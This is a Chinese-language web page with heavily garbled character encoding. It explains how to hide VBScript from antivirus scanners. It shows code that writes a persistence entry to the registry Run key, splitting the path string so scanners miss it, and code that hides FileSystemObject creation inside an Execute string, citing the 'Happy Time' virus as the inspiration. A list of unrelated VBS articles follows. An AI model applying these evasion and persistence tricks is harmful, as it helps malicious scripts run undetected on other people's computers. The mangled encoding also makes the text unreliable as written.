殺毒的對vbs相當(dāng)敏感 免殺
現(xiàn)在殺毒的對vbs相當(dāng)敏感,只要發(fā)現(xiàn)對注冊表的xx作,或使用vbs運行命令(加用戶) 就可能被殺。下面談2方法可以簡單解決:
1.使用連接符"&" 如:
Set CURObj = CreateObject("Wscript.Shell")
mhk="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\Run\"
CURObj.RegWrite ""&mhk&"internat.exe","internat.exe"
2.使用Execute函數(shù)(BY 動鯊 )
一些殺毒軟件,如瑞星,他門會監(jiān)視網(wǎng)頁中的代碼,一旦你創(chuàng)建了FSO或?qū)懽员?,即使是正常的腳本他也會報告危險,但是當(dāng)年新歡樂時光也用了FSO怎么就沒報警呢?原因是這個病毒使用Execute這個函數(shù)來躲過了防火墻,呵呵。病毒將這段聲明代碼轉(zhuǎn)化為字符串,然后通過Execute(String)函數(shù)執(zhí)行,舉個例子
str="set fso=CreateObject( " & chr(34) & "scrip" & chr(116)& "ing.FileSystemObject"&chr(34)&")"
msgbox str
Execute str
將如上的代碼放入test.vbs中就會被創(chuàng)建FSO,而瑞星就不會報警
相關(guān)文章
HTA文件去除html控件認(rèn)證和接收命令行參數(shù)
最近看vbscript程序員參考手冊第三版,講到hta的兩個應(yīng)用2009-07-07
dim函數(shù)第三個參數(shù)設(shè)置截取字符的長度問題
dim函數(shù)的第三個參數(shù),也就是截取字符的長度,我在設(shè)置這個的時候,出了些問題,提示無效的過程調(diào)用或參數(shù),本文詳細介紹如何解決2012-12-12
iisweb.vbs iis網(wǎng)站管理腳本使用介紹
可以使用命令行腳本 iisweb.vbs(存儲在 systemroot\System32 中)在運行帶有 IIS 6.0 的 Windows Server 2003 家族成員的本地或遠程計算機上創(chuàng)建網(wǎng)站配置。該命令不創(chuàng)建或破壞內(nèi)容,而只是設(shè)置目錄結(jié)構(gòu)和某些 IIS 配置文件2014-07-07
VBS ArrayList Class vbs中的數(shù)組類
VBS ArrayList Class vbs中的數(shù)組類...2007-03-03
VBS基礎(chǔ)篇 - vbscript動態(tài)數(shù)組
VBS中的動態(tài)數(shù)組需要使用System.Collections.ArrayList,需要的朋友可以參考下2018-05-05

